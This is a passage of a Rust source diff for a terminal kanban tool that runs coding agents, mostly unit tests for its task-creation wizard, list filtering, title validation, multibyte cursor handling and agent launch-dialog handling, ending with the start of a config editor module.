.to_string();+ assert_ne!(picked, app.state.config.default_agent, "a real change");++ advance_to(&mut app, WizardStep::Prompt);+ press_key(&mut app, KeyCode::Enter);++ assert_eq!(app.state.board.tasks.len(), 1);+ assert_eq!(app.state.board.tasks[0].agent, picked);+}++/// `/` opens a filter on a list step. While it is open ordinary characters go+/// to the filter, which is why navigation there is arrows rather than `j`/`k`.+#[test]+#[cfg(feature = "test-mocks")]+fn slash_filters_a_list_step() {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('o'));+ type_str(&mut app, "Filtering");+ advance_to(&mut app, WizardStep::Plugin);++ let all = app.state.wizard.as_ref().unwrap().plugin.matching().len();+ assert!(all > 2, "need something to filter, got {all}");++ press_key(&mut app, KeyCode::Char('/'));+ assert!(app.state.wizard.as_ref().unwrap().plugin.is_filtering());+ type_str(&mut app, "gsd");++ let list = &app.state.wizard.as_ref().unwrap().plugin;+ assert_eq!(list.matching().len(), 1, "narrowed to one");+ assert_eq!(list.selected_option().unwrap().name, "gsd");+ assert_eq!(+ list.filter.as_ref().unwrap().as_str(),+ "gsd",+ "the characters went to the filter, not to navigation"+ );+}++/// Backspacing the filter empty leaves filter mode, rather than sitting in a+/// mode with nothing typed and `j`/`k` still inert.+#[test]+#[cfg(feature = "test-mocks")]+fn emptying_the_filter_leaves_filter_mode() {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('o'));+ type_str(&mut app, "Filtering");+ advance_to(&mut app, WizardStep::Plugin);++ press_key(&mut app, KeyCode::Char('/'));+ type_str(&mut app, "gs");+ press_key(&mut app, KeyCode::Backspace);+ press_key(&mut app, KeyCode::Backspace);++ assert!(!app.state.wizard.as_ref().unwrap().plugin.is_filtering());+ // ...and `j` navigates again rather than filtering.+ let before = app.state.wizard.as_ref().unwrap().plugin.selected;+ press_key(&mut app, KeyCode::Char('j'));+ assert_ne!(app.state.wizard.as_ref().unwrap().plugin.selected, before);+}++/// An open filter owns Esc the way a prompt dropdown does: closing the filter+/// must not take the whole wizard with it.+#[test]+#[cfg(feature = "test-mocks")]+fn esc_closes_an_open_filter_without_leaving_the_wizard() {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('o'));+ type_str(&mut app, "Keep me");+ advance_to(&mut app, WizardStep::Plugin);++ press_key(&mut app, KeyCode::Char('/'));+ type_str(&mut app, "gsd");+ assert!(app.state.wizard.as_ref().unwrap().plugin.is_filtering());++ press_key(&mut app, KeyCode::Esc);+ assert!(app.state.wizard.is_some(), "the wizard survives");+ assert_eq!(app.state.wizard_step(), Some(WizardStep::Plugin));+ let list = &app.state.wizard.as_ref().unwrap().plugin;+ assert!(!list.is_filtering(), "only the filter closed");+ assert_eq!(list.matching().len(), list.options.len(), "whole list back");++ // A second Esc, with no filter to close, cancels as it does anywhere else.+ press_key(&mut app, KeyCode::Esc);+ assert!(app.state.wizard.is_none());+}++/// The plugin list is filtered by the agent, so saving straight from the agent+/// step must not persist a plugin that agent does not support.+#[test]+#[cfg(feature = "test-mocks")]+fn saving_from_the_agent_step_refilters_the_plugin() {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('o'));+ type_str(&mut app, "Agent then save");++ advance_to(&mut app, WizardStep::Agent);+ press_key(&mut app, KeyCode::Char('j'));+ let agent = app+ .state+ .wizard+ .as_ref()+ .unwrap()+ .agent_name()+ .unwrap()+ .to_string();++ app.handle_key(key_event(KeyCode::Char('s'), KeyModifiers::CONTROL))+ .unwrap();++ assert_eq!(app.state.board.tasks.len(), 1);+ let task = &app.state.board.tasks[0];+ assert_eq!(task.agent, agent);+ // Whatever plugin was stored has to be one this agent supports.+ if let Some(name) = task.plugin.as_deref() {+ let content = skills::BUNDLED_PLUGINS+ .iter()+ .find(|(n, _, _)| *n == name)+ .map(|(_, _, c)| *c);+ if let Some(content) = content {+ let plugin: crate::config::WorkflowPlugin = toml::from_str(content).unwrap();+ assert!(+ plugin.supports_agent(&agent),+ "saved {name} for {agent}, which does not support it"+ );+ }+ }+}++/// Enter picks whatever the filter left under the cursor, and the pick survives+/// the filter closing with the step.+#[test]+#[cfg(feature = "test-mocks")]+fn a_filtered_pick_is_what_gets_saved() {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('o'));+ type_str(&mut app, "Filtered pick");+ advance_to(&mut app, WizardStep::Plugin);++ press_key(&mut app, KeyCode::Char('/'));+ type_str(&mut app, "gsd");+ advance_to(&mut app, WizardStep::Prompt);+ press_key(&mut app, KeyCode::Enter);++ assert_eq!(app.state.board.tasks.len(), 1);+ assert_eq!(app.state.board.tasks[0].plugin.as_deref(), Some("gsd"));+}++// --- richer validation ---++/// A duplicate title is legal but almost never intended, and the board shows+/// titles alone β two identical cards are indistinguishable.+#[test]+#[cfg(feature = "test-mocks")]+fn a_duplicate_title_is_refused() {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('o'));+ type_str(&mut app, "Fix login");+ app.handle_key(key_event(KeyCode::Char('s'), KeyModifiers::CONTROL))+ .unwrap();+ assert_eq!(app.state.board.tasks.len(), 1);++ press_key(&mut app, KeyCode::Char('o'));+ type_str(&mut app, "Fix login");+ app.handle_key(key_event(KeyCode::Char('s'), KeyModifiers::CONTROL))+ .unwrap();++ assert_eq!(app.state.board.tasks.len(), 1, "the second was refused");+ let validation = app.state.wizard.as_ref().unwrap().validation.as_deref();+ assert!(+ validation.is_some_and(|v| v.contains("already called")),+ "{validation:?}"+ );+}++/// Editing a task must not trip over its own title.+#[test]+#[cfg(feature = "test-mocks")]+fn a_task_does_not_clash_with_itself_when_edited() {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('o'));+ type_str(&mut app, "Fix login");+ app.handle_key(key_event(KeyCode::Char('s'), KeyModifiers::CONTROL))+ .unwrap();++ // Reopen it and save without changing the title.+ press_key(&mut app, KeyCode::Enter);+ assert!(app.state.wizard.as_ref().unwrap().is_editing());+ app.handle_key(key_event(KeyCode::Char('s'), KeyModifiers::CONTROL))+ .unwrap();++ assert!(app.state.wizard.is_none(), "saved, not refused");+ assert_eq!(app.state.board.tasks.len(), 1);+}++/// The board draws a title on one card line; one long enough to be truncated+/// everywhere it appears is not a useful name.+#[test]+#[cfg(feature = "test-mocks")]+fn an_overlong_title_is_refused_with_its_length() {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('o'));+ type_str(&mut app, &"x".repeat(MAX_TASK_TITLE_CHARS + 1));+ press_key(&mut app, KeyCode::Enter);++ assert_eq!(app.state.wizard_step(), Some(WizardStep::Title));+ let validation = app.state.wizard.as_ref().unwrap().validation.as_deref();+ assert!(+ validation.is_some_and(|v| v.contains(&format!("{}", MAX_TASK_TITLE_CHARS + 1))),+ "the message should say how long it is: {validation:?}"+ );+ assert!(app.state.board.tasks.is_empty());+}++#[test]+#[cfg(feature = "test-mocks")]+fn a_title_at_the_limit_is_accepted() {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('o'));+ type_str(&mut app, &"x".repeat(MAX_TASK_TITLE_CHARS));+ app.handle_key(key_event(KeyCode::Char('s'), KeyModifiers::CONTROL))+ .unwrap();+ assert_eq!(app.state.board.tasks.len(), 1);+}++/// With one agent installed there is nothing to choose, so the step does not+/// appear β the same rule the plugin step follows.+#[test]+#[cfg(feature = "test-mocks")]+fn the_agent_step_is_skipped_when_only_one_agent_is_installed() {+ let mut app = make_test_app_with_agents();+ app.state.available_agents.truncate(1);+ press_key(&mut app, KeyCode::Char('o'));+ type_str(&mut app, "Only one agent");+ press_key(&mut app, KeyCode::Enter);++ assert_ne!(app.state.wizard_step(), Some(WizardStep::Agent));+ let steps = app.state.wizard.as_ref().unwrap().steps();+ assert!(!steps.contains(&WizardStep::Agent), "{steps:?}");+}+// --- Trigger Swap: / for skills, ! for task refs ---#[test]@@ -5806,12 +7088,12 @@ fn test_skill_search_slash_trigger() {press_key(&mut app, KeyCode::Char('o'));type_str(&mut app, "Test");press_key(&mut app, KeyCode::Enter);- assert_eq!(app.state.input_mode, InputMode::InputDescription);+ assert_eq!(app.state.wizard_step(), Some(WizardStep::Prompt));// Type `/` at start of buffer β should trigger skill searchpress_key(&mut app, KeyCode::Char('/'));assert!(app.state.skill_search.is_some());- assert_eq!(app.state.input_buffer, "/");+ assert_eq!(wiz(&app).buffer, "/");// Cancel skill searchpress_key(&mut app, KeyCode::Esc);@@ -5825,12 +7107,12 @@ fn test_slash_no_trigger_mid_word() {press_key(&mut app, KeyCode::Char('o'));type_str(&mut app, "Test");press_key(&mut app, KeyCode::Enter);- assert_eq!(app.state.input_mode, InputMode::InputDescription);+ assert_eq!(app.state.wizard_step(), Some(WizardStep::Prompt));// `/` after a letter (no space) β should NOT trigger skill searchtype_str(&mut app, "http:/");assert!(app.state.skill_search.is_none());- assert!(app.state.input_buffer.contains("http:/"));+ assert!(wiz(&app).buffer.contains("http:/"));}#[test]@@ -5840,7 +7122,7 @@ fn test_slash_triggers_after_space() {press_key(&mut app, KeyCode::Char('o'));type_str(&mut app, "Test");press_key(&mut app, KeyCode::Enter);- assert_eq!(app.state.input_mode, InputMode::InputDescription);+ assert_eq!(app.state.wizard_step(), Some(WizardStep::Prompt));// `/` after a space β should trigger skill searchtype_str(&mut app, "run ");@@ -5862,7 +7144,7 @@ fn test_task_ref_search_exclamation_trigger() {press_key(&mut app, KeyCode::Char('o'));type_str(&mut app, "New task");press_key(&mut app, KeyCode::Enter);- assert_eq!(app.state.input_mode, InputMode::InputDescription);+ assert_eq!(app.state.wizard_step(), Some(WizardStep::Prompt));// Type `!` at start of buffer β should trigger task ref searchpress_key(&mut app, KeyCode::Char('!'));@@ -5885,7 +7167,7 @@ fn test_task_ref_inserts_reference() {press_key(&mut app, KeyCode::Char('o'));type_str(&mut app, "Uses auth");press_key(&mut app, KeyCode::Enter);- assert_eq!(app.state.input_mode, InputMode::InputDescription);+ assert_eq!(app.state.wizard_step(), Some(WizardStep::Prompt));// Trigger task ref searchpress_key(&mut app, KeyCode::Char('!'));@@ -5897,14 +7179,26 @@ fn test_task_ref_inserts_reference() {// Buffer should contain ![Setup auth]assert!(- app.state.input_buffer.contains("![Setup auth]"),+ wiz(&app).buffer.contains("![Setup auth]"),"Buffer: {}",- app.state.input_buffer+ wiz(&app).buffer);// Referenced task ID should be tracked- assert!(!app.state.wizard_referenced_task_ids.is_empty());+ assert!(!app+ .state+ .wizard+ .as_ref()+ .unwrap()+ .referenced_task_ids+ .is_empty());// Highlighted references should contain the reference text- assert!(app.state.highlighted_references.contains("![Setup auth]"));+ assert!(app+ .state+ .wizard+ .as_ref()+ .unwrap()+ .highlighted_references+ .contains("![Setup auth]"));}#[test]@@ -5919,7 +7213,7 @@ fn test_task_ref_after_space() {press_key(&mut app, KeyCode::Char('o'));type_str(&mut app, "Ref test");press_key(&mut app, KeyCode::Enter);- assert_eq!(app.state.input_mode, InputMode::InputDescription);+ assert_eq!(app.state.wizard_step(), Some(WizardStep::Prompt));// Type some text, then space + `!` β should triggertype_str(&mut app, "depends on ");@@ -5936,9 +7230,9 @@ fn test_korean_char_advances_cursor_by_utf8_length_in_title() {press_key(&mut app, KeyCode::Char('o'));// Type Korean char 'ν' (3 bytes in UTF-8)press_key(&mut app, KeyCode::Char('ν'));- assert_eq!(app.state.input_buffer, "ν");+ assert_eq!(wiz(&app).buffer, "ν");// Cursor must land on a char boundary (byte 3), not mid-character (byte 1)- assert_eq!(app.state.input_cursor, 3);+ assert_eq!(wiz(&app).cursor, 3);}#[test]@@ -5948,12 +7242,12 @@ fn test_korean_word_in_description_preserves_buffer_and_cursor() {press_key(&mut app, KeyCode::Char('o'));type_str(&mut app, "Title");press_key(&mut app, KeyCode::Enter);- assert_eq!(app.state.input_mode, InputMode::InputDescription);+ assert_eq!(app.state.wizard_step(), Some(WizardStep::Prompt));// Typing two Korean chars should not panic and should yield correct buffertype_str(&mut app, "νκΈ");- assert_eq!(app.state.input_buffer, "νκΈ");- assert_eq!(app.state.input_cursor, 6); // 3+3 bytes+ assert_eq!(wiz(&app).buffer, "νκΈ");+ assert_eq!(wiz(&app).cursor, 6); // 3+3 bytes}#[test]@@ -5963,12 +7257,12 @@ fn test_korean_then_ascii_does_not_panic() {press_key(&mut app, KeyCode::Char('o'));type_str(&mut app, "Title");press_key(&mut app, KeyCode::Enter);- assert_eq!(app.state.input_mode, InputMode::InputDescription);+ assert_eq!(app.state.wizard_step(), Some(WizardStep::Prompt));// Korean char followed by ASCII must not panic on inserttype_str(&mut app, "νa");- assert_eq!(app.state.input_buffer, "νa");- assert_eq!(app.state.input_cursor, 4);+ assert_eq!(wiz(&app).buffer, "νa");+ assert_eq!(wiz(&app).cursor, 4);}#[test]@@ -5978,12 +7272,12 @@ fn test_korean_backspace_removes_whole_char_in_description() {press_key(&mut app, KeyCode::Char('o'));type_str(&mut app, "Title");press_key(&mut app, KeyCode::Enter);- assert_eq!(app.state.input_mode, InputMode::InputDescription);+ assert_eq!(app.state.wizard_step(), Some(WizardStep::Prompt));type_str(&mut app, "μλ ");press_key(&mut app, KeyCode::Backspace);- assert_eq!(app.state.input_buffer, "μ");- assert_eq!(app.state.input_cursor, 3);+ assert_eq!(wiz(&app).buffer, "μ");+ assert_eq!(wiz(&app).cursor, 3);}#[test]@@ -5993,12 +7287,12 @@ fn test_korean_left_arrow_moves_whole_char_in_description() {press_key(&mut app, KeyCode::Char('o'));type_str(&mut app, "Title");press_key(&mut app, KeyCode::Enter);- assert_eq!(app.state.input_mode, InputMode::InputDescription);+ assert_eq!(app.state.wizard_step(), Some(WizardStep::Prompt));type_str(&mut app, "μλ ");press_key(&mut app, KeyCode::Left);// Cursor must land on char boundary between μ (bytes 0..3) and λ (bytes 3..6)- assert_eq!(app.state.input_cursor, 3);+ assert_eq!(wiz(&app).cursor, 3);}#[test]@@ -6009,10 +7303,10 @@ fn test_korean_right_arrow_moves_whole_char_in_title() {type_str(&mut app, "μλ ");// Move cursor to startpress_key(&mut app, KeyCode::Home);- assert_eq!(app.state.input_cursor, 0);+ assert_eq!(wiz(&app).cursor, 0);// Right arrow should advance one char (3 bytes), not one bytepress_key(&mut app, KeyCode::Right);- assert_eq!(app.state.input_cursor, 3);+ assert_eq!(wiz(&app).cursor, 3);}#[test]@@ -6022,8 +7316,8 @@ fn test_japanese_typing_preserves_cursor() {let mut app = make_test_app();press_key(&mut app, KeyCode::Char('o'));type_str(&mut app, "γγγ«γ‘γ―");- assert_eq!(app.state.input_buffer, "γγγ«γ‘γ―");- assert_eq!(app.state.input_cursor, 15); // 5 chars * 3 bytes+ assert_eq!(wiz(&app).buffer, "γγγ«γ‘γ―");+ assert_eq!(wiz(&app).cursor, 15); // 5 chars * 3 bytes}#[test]@@ -6032,8 +7326,8 @@ fn test_chinese_typing_preserves_cursor() {let mut app = make_test_app();press_key(&mut app, KeyCode::Char('o'));type_str(&mut app, "δ½ ε₯½");- assert_eq!(app.state.input_buffer, "δ½ ε₯½");- assert_eq!(app.state.input_cursor, 6); // 2 chars * 3 bytes+ assert_eq!(wiz(&app).buffer, "δ½ ε₯½");+ assert_eq!(wiz(&app).cursor, 6); // 2 chars * 3 bytes}#[test]@@ -6043,11 +7337,11 @@ fn test_emoji_typing_handles_4_byte_utf8() {let mut app = make_test_app();press_key(&mut app, KeyCode::Char('o'));press_key(&mut app, KeyCode::Char('π'));- assert_eq!(app.state.input_buffer, "π");- assert_eq!(app.state.input_cursor, 4);+ assert_eq!(wiz(&app).buffer, "π");+ assert_eq!(wiz(&app).cursor, 4);press_key(&mut app, KeyCode::Backspace);- assert_eq!(app.state.input_buffer, "");- assert_eq!(app.state.input_cursor, 0);+ assert_eq!(wiz(&app).buffer, "");+ assert_eq!(wiz(&app).cursor, 0);}#[test]@@ -6058,13 +7352,13 @@ fn test_delete_removes_whole_multibyte_char_in_description() {press_key(&mut app, KeyCode::Char('o'));type_str(&mut app, "Title");press_key(&mut app, KeyCode::Enter);- assert_eq!(app.state.input_mode, InputMode::InputDescription);+ assert_eq!(app.state.wizard_step(), Some(WizardStep::Prompt));type_str(&mut app, "μλ ");press_key(&mut app, KeyCode::Home);press_key(&mut app, KeyCode::Delete);- assert_eq!(app.state.input_buffer, "λ ");- assert_eq!(app.state.input_cursor, 0);+ assert_eq!(wiz(&app).buffer, "λ ");+ assert_eq!(wiz(&app).cursor, 0);}// --- Wrapped cursor position (for IME composition anchoring under wrap) ---@@ -6338,8 +7632,9 @@ fn test_invariant_long_buffer_with_prefix() {#[test]#[cfg(feature = "test-mocks")]fn test_footer_text_select_plugin() {- let text = build_footer_text(InputMode::SelectPlugin, false, 0, false, false);- assert!(text.contains("select plugin"));+ let text = build_footer_text(Some(WizardStep::Plugin), false, 0, false, false);+ assert!(text.contains("[j/k] select"));+ assert!(text.contains("[/] filter"));assert!(text.contains("Tab"));assert!(text.contains("Enter"));assert!(text.contains("Esc"));@@ -6348,7 +7643,7 @@ fn test_footer_text_select_plugin() {#[test]#[cfg(feature = "test-mocks")]fn test_footer_text_description_shows_all_triggers() {- let text = build_footer_text(InputMode::InputDescription, false, 0, false, false);+ let text = build_footer_text(Some(WizardStep::Prompt), false, 0, false, false);assert!(text.contains("[#] files"),"Missing files trigger: {}",@@ -7139,8 +8434,8 @@ fn refresh_with_hook(app.state.phase_status_cache["t1"].0}-/// The regression that motivates the whole change: an agent thinking silently-/// for longer than 15s used to be reported as Idle.+/// An agent's own report beats the pane-hash heuristic: thinking silently for+/// longer than 15s is Working, not Idle.#[test]#[cfg(feature = "test-mocks")]fn test_hook_working_beats_a_stale_pane_hash() {@@ -9519,8 +10814,8 @@ fn test_stuck_task_idle_since_cleared_when_not_idle() {}// =============================================================================-// Tests for pure functions: fuzzy_score, word_boundary_left/right,-// generate_task_slug, centered_rect, centered_rect_fixed_width,+// Tests for pure functions: fuzzy_score, generate_task_slug, centered_rect,+// centered_rect_fixed_width,// transform_skill_frontmatter, transform_skill_for_opencode// =============================================================================@@ -9558,49 +10853,6 @@ fn test_fuzzy_score_case_sensitive() {assert!(fuzzy_score("hello", "hello") > 0);}-// --- word_boundary_left -----#[test]-fn test_word_boundary_left_at_zero() {- assert_eq!(word_boundary_left("hello world", 0), 0);-}--#[test]-fn test_word_boundary_left_from_end_of_word() {- // "hello world" β cursor at 5 (end of "hello") β should land at 0- assert_eq!(word_boundary_left("hello world", 5), 0);-}--#[test]-fn test_word_boundary_left_skips_space_then_word() {- // "hello world" cursor at 11 (end) β skip "d l r o w" then space β land at 6- assert_eq!(word_boundary_left("hello world", 11), 6);-}--#[test]-fn test_word_boundary_left_from_middle_of_word() {- // "hello world" cursor at 8 β inside "world" β land at 6- assert_eq!(word_boundary_left("hello world", 8), 6);-}--#[test]-fn test_word_boundary_left_empty_string() {- assert_eq!(word_boundary_left("", 0), 0);-}--// --- word_boundary_right -----#[test]-fn test_word_boundary_right_from_middle_of_word() {- // "hello world" cursor at 2 β skip "llo" β skip " " β land at 6- assert_eq!(word_boundary_right("hello world", 2), 6);-}--#[test]-fn test_word_boundary_right_empty_string() {- assert_eq!(word_boundary_right("", 0), 0);-}-// --- generate_task_slug ---#[test]@@ -10147,17 +11399,12 @@ fn test_delete_task_resources_noop_when_no_session_or_worktree() {fn test_save_task_creates_new_task_in_db() {let mut app = make_test_app();- // Set up wizard state for a new task- app.state.pending_task_title = "New Task Title".to_string();- app.state.input_buffer = "Task description here".to_string();- app.state.editing_task_id = None;- app.state.wizard_plugin_options = vec![crate::tui::app::PluginOption {- name: "agtx".to_string(),- label: "agtx".to_string(),- description: "".to_string(),- active: true,- }];- app.state.wizard_selected_plugin = 0;+ app.state.wizard = Some(filled_wizard(+ "New Task Title",+ "Task description here",+ "agtx",+ None,+ ));app.save_task().unwrap();@@ -10185,17 +11432,12 @@ fn test_save_task_updates_existing_task() {.unwrap();app.refresh_tasks().unwrap();- // Set up wizard state for editing- app.state.pending_task_title = "Updated Title".to_string();- app.state.input_buffer = "Updated description".to_string();- app.state.editing_task_id = Some("edit-me".to_string());- app.state.wizard_plugin_options = vec![crate::tui::app::PluginOption {- name: "gsd".to_string(),- label: "gsd".to_string(),- description: "".to_string(),- active: true,- }];- app.state.wizard_selected_plugin = 0;+ app.state.wizard = Some(filled_wizard(+ "Updated Title",+ "Updated description",+ "gsd",+ Some("edit-me"),+ ));app.save_task().unwrap();@@ -10219,16 +11461,7 @@ fn test_save_task_updates_existing_task() {fn test_save_task_empty_description_stored_as_none() {let mut app = make_test_app();- app.state.pending_task_title = "Title only".to_string();- app.state.input_buffer = String::new(); // empty- app.state.editing_task_id = None;- app.state.wizard_plugin_options = vec![crate::tui::app::PluginOption {- name: "agtx".to_string(),- label: "agtx".to_string(),- description: "".to_string(),- active: true,- }];- app.state.wizard_selected_plugin = 0;+ app.state.wizard = Some(filled_wizard("Title only", "", "agtx", None));app.save_task().unwrap();@@ -10236,44 +11469,59 @@ fn test_save_task_empty_description_stored_as_none() {assert_eq!(tasks[0].description, None);}-// --- init_plugin_selection ---+// --- seed_plugin_step ---#[test]#[cfg(feature = "test-mocks")]-fn test_init_plugin_selection_includes_agtx() {- let mut app = make_test_app();- app.init_plugin_selection();- let names: Vec<&str> = app+fn test_seed_plugin_step_includes_agtx() {+ let mut app = make_test_app_with_agents();+ app.state.wizard = Some(crate::tui::wizard::WizardState::creating());+ app.seed_plugin_step();+ let names: Vec<String> = app.state- .wizard_plugin_options+ .wizard+ .as_ref()+ .unwrap()+ .plugin+ .options.iter()- .map(|o| o.name.as_str())+ .map(|o| o.name.clone()).collect();- assert!(names.contains(&"agtx"), "options={:?}", names);+ assert!(names.iter().any(|n| n == "agtx"), "options={:?}", names);}#[test]#[cfg(feature = "test-mocks")]-fn test_init_plugin_selection_sets_active_from_config() {- let mut app = make_test_app();+fn test_seed_plugin_step_sets_active_from_config() {+ let mut app = make_test_app_with_agents();app.state.config.workflow_plugin = Some("gsd".to_string());- app.init_plugin_selection();+ app.state.wizard = Some(crate::tui::wizard::WizardState::creating());+ app.seed_plugin_step();- let active = app.state.wizard_plugin_options.iter().find(|o| o.active);+ let active = app+ .state+ .wizard+ .as_ref()+ .unwrap()+ .plugin+ .options+ .iter()+ .find(|o| o.active);assert!(active.is_some());assert_eq!(active.unwrap().name, "gsd");}#[test]#[cfg(feature = "test-mocks")]-fn test_init_plugin_selection_selected_index_matches_active() {- let mut app = make_test_app();+fn test_seed_plugin_step_selected_index_matches_active() {+ let mut app = make_test_app_with_agents();app.state.config.workflow_plugin = Some("gsd".to_string());- app.init_plugin_selection();+ app.state.wizard = Some(crate::tui::wizard::WizardState::creating());+ app.seed_plugin_step();- let idx = app.state.wizard_selected_plugin;+ let idx = app.state.wizard.as_ref().unwrap().plugin.selected;assert!(- app.state.wizard_plugin_options[idx].active,+ app.state.wizard.as_ref().unwrap().plugin.options[idx].active,"selected idx {} not active",idx);@@ -11697,14 +12945,13 @@ fn test_handle_paste_into_shell_popup_never_touches_tmux_on_the_input_thread() {fn test_handle_paste_into_description_editor_at_end() {// Paste appends at the current cursor position (end of buffer).let mut app = make_test_app();- app.state.input_mode = InputMode::InputDescription;- app.state.input_buffer = "start ".to_string();- app.state.input_cursor = 6;+ open_prompt_step(&mut app);+ wiz_mut(&mut app).set_text("start ");app.handle_paste("pasted text".to_string()).unwrap();- assert_eq!(app.state.input_buffer, "start pasted text");- assert_eq!(app.state.input_cursor, 17); // 6 + len("pasted text")+ assert_eq!(wiz(&app).buffer, "start pasted text");+ assert_eq!(wiz(&app).cursor, 17); // 6 + len("pasted text")}#[test]@@ -11712,14 +12959,14 @@ fn test_handle_paste_into_description_editor_at_end() {fn test_handle_paste_into_description_editor_at_mid_cursor() {// Paste inserts at the cursor position, pushing subsequent text right.let mut app = make_test_app();- app.state.input_mode = InputMode::InputDescription;- app.state.input_buffer = "ab".to_string();- app.state.input_cursor = 1; // between 'a' and 'b'+ open_prompt_step(&mut app);+ wiz_mut(&mut app).set_text("ab");+ wiz_mut(&mut app).cursor = 1; // between 'a' and 'b'app.handle_paste("XY".to_string()).unwrap();- assert_eq!(app.state.input_buffer, "aXYb");- assert_eq!(app.state.input_cursor, 3); // 1 + len("XY")+ assert_eq!(wiz(&app).buffer, "aXYb");+ assert_eq!(wiz(&app).cursor, 3); // 1 + len("XY")}#[test]@@ -11727,18 +12974,21 @@ fn test_handle_paste_into_description_editor_at_mid_cursor() {fn test_handle_paste_noop_in_normal_mode() {// In Normal mode with no popup open, paste is silently ignored.let mut app = make_test_app();- // input_mode starts as Normal, shell_popup is None- assert_eq!(app.state.input_mode, InputMode::Normal);+ // No wizard, no popup β nothing is listening for text.+ assert_eq!(app.state.wizard_step(), None);assert!(app.state.shell_popup.is_none());app.handle_paste("should be ignored".to_string()).unwrap();- assert!(app.state.input_buffer.is_empty());+ assert!(+ app.state.wizard.is_none(),+ "a paste must not conjure a wizard to receive it"+ );}-/// Test that switching projects via the sidebar reloads the config from the new project.-/// Before the fix, config was only loaded at startup so switching projects in the sidebar-/// would keep the old project's agent settings, causing incorrect agent selection.+/// Switching projects via the sidebar reloads the config from the new project.+/// Loading it only at startup would leave the previous project's agent settings+/// in place and pick the wrong agent.#[test]#[cfg(feature = "test-mocks")]fn test_switch_to_project_reloads_config() {@@ -12225,8 +13475,9 @@ fn test_argv_event_agents_carry_their_event_in_the_command() {// ββ submitting a message ββββββββββββββββββββββββββββββββββββββββββββββββββββ//// Pane text below is captured verbatim from live sessions. The bare-command case-// is the one that mattered: a repaint used to count as a submit, so a command-// parked in a picker looked delivered and the phase never advanced.+// is the one that matters: a repaint is not a submit, and counting it as one+// leaves a command parked in a picker looking delivered while the phase never+// advances./// codex 0.144.5, after pasting a bare `$agtx-review`: the picker is open and the/// command is still in the composer. Enter here *inserts*; it does not submit.@@ -12311,11 +13562,10 @@ fn test_submit_message_presses_enter_again_when_the_picker_ate_the_first() {// ββ first-launch dialog handling (wait_for_agent_ready) ββββββββββββββββββββββ-/// Regression: a native-binary agent changes `pane_current_command` the moment-/// it execs, so the process check used to break out of the readiness loop before-/// the dialog check below it ever ran. Observed live in a swebench container:-/// Claude sat on the bypass warning for 300s and the task prompt was typed into-/// the menu.+/// A native-binary agent changes `pane_current_command` the moment it execs, so+/// the process check wins that race β the dialog check has to run first or it+/// never runs at all. Observed live in a swebench container: Claude sat on the+/// bypass warning for 300s and the task prompt was typed into the menu.#[test]#[cfg(feature = "test-mocks")]fn test_dismiss_launch_dialog_answers_claude_bypass_warning() {@@ -12985,9 +14235,9 @@ fn assert_covers_every_agent(covered: &[&str], table: &str) {assert!(missing.is_empty(), "{table} is missing: {missing:?}");}-/// `LAUNCH_DIALOGS` is now derived from `AGENT_SPECS`. Pinned against the-/// literals it replaced, and asserting `Session`-scope dialogs stay out β they-/// are matched per agent, not against any pane.+/// `LAUNCH_DIALOGS` is derived from `AGENT_SPECS`. Pinned against literals, and+/// asserting `Session`-scope dialogs stay out β they are matched per agent, not+/// against any pane.#[test]fn test_launch_dialog_derivation_matches_the_previous_literals() {let mut got: Vec<(Vec<&str>, Vec<&str>)> = LAUNCH_DIALOGS@@ -13037,7 +14287,7 @@ fn test_launch_dialog_derivation_matches_the_previous_literals() {);}-/// Codex's mid-session MCP approval, previously hand-rolled in the refresh loop.+/// Codex's mid-session MCP approval, answered from the spec table.#[test]#[cfg(feature = "test-mocks")]fn test_answer_session_dialogs_handles_codex_mcp_approval() {@@ -13087,9 +14337,9 @@ fn test_answer_session_dialogs_requires_every_pattern() {// Per-agent attribution of indicators and launch dialogs (open question 1)// =============================================================================-/// Another agent's readiness string in this agent's pane no longer counts.-/// "Ask anything" is OpenCode's; a Claude pane showing it β in conversation-/// output, say β used to read as an agent being up.+/// Another agent's readiness string in this agent's pane does not count.+/// "Ask anything" is OpenCode's, and a Claude pane showing it β in conversation+/// output, say β must not read as an agent being up.#[test]#[cfg(feature = "test-mocks")]fn test_active_indicators_are_scoped_to_their_agent() {@@ -13766,9 +15016,8 @@ fn a_printable_key_is_enqueued_as_literal_text() {#[test]#[cfg(feature = "test-mocks")]fn a_character_that_tmux_would_read_as_syntax_is_still_text() {- // `;` used to be sent through tmux's key-name lookup, where a standalone- // semicolon is a command separator β the keystroke never reached the pane.- // As text it is just a semicolon.+ // Through tmux's key-name lookup a standalone `;` is a command separator and+ // the keystroke never reaches the pane. As text it is just a semicolon.let (mut app, sink) = app_with_open_popup();for c in [';', '$', '#', '"', '\\'] {app.handle_key(key_event(KeyCode::Char(c), KeyModifiers::NONE))diff --git a/src/tui/config_editor.rs b/src/tui/config_editor.rsnew file mode 100644index 0000000..3c4e690--- /dev/null+++ b/src/tui/config_editor.rs@@ -0,0 +1,739 @@+//! The in-TUI config editor: `~/.config/agtx/config.toml` and a project's+//! `.agtx/config.toml` as a form.+//!+//! The fields are **declared**, not open-coded: one `FieldId` per setting, and+//! exactly two matches over it β `read` and `write`. The alternative is a match+//! arm per field in the renderer, the key handler, the loader and the saver,+//! which is four places to forget when a setting is added. The enum also makes+//! the compiler check that both directions cover every field.++use crate::config::{GlobalConfig, ProjectConfig};++use super::text_input::TextInput;++/// Every setting the editor exposes.+#[derive(Debug, Clone, Copy, PartialEq, Eq)]+pub enum FieldId {+ // General (global)+ DefaultAgent,+ FullscreenOnEnter,+ AgentHooks,+ AutoTrust,+ UpdateCheck,+ // Per-phase agents (global)+ AgentResearch,+ AgentPlanning,+ AgentRunning,+ AgentReview,+ // Worktree (global)+ WorktreeEnabled,+ WorktreeAutoCleanup,+ WorktreeBaseBranch,+ WorktreeDir,+ WorktreeBranchPrefix,+ // Theme (global)+ ColorSelected,+ ColorNormal,+ ColorDimmed,+ ColorText,+ ColorAccent,+ ColorDescription,+ 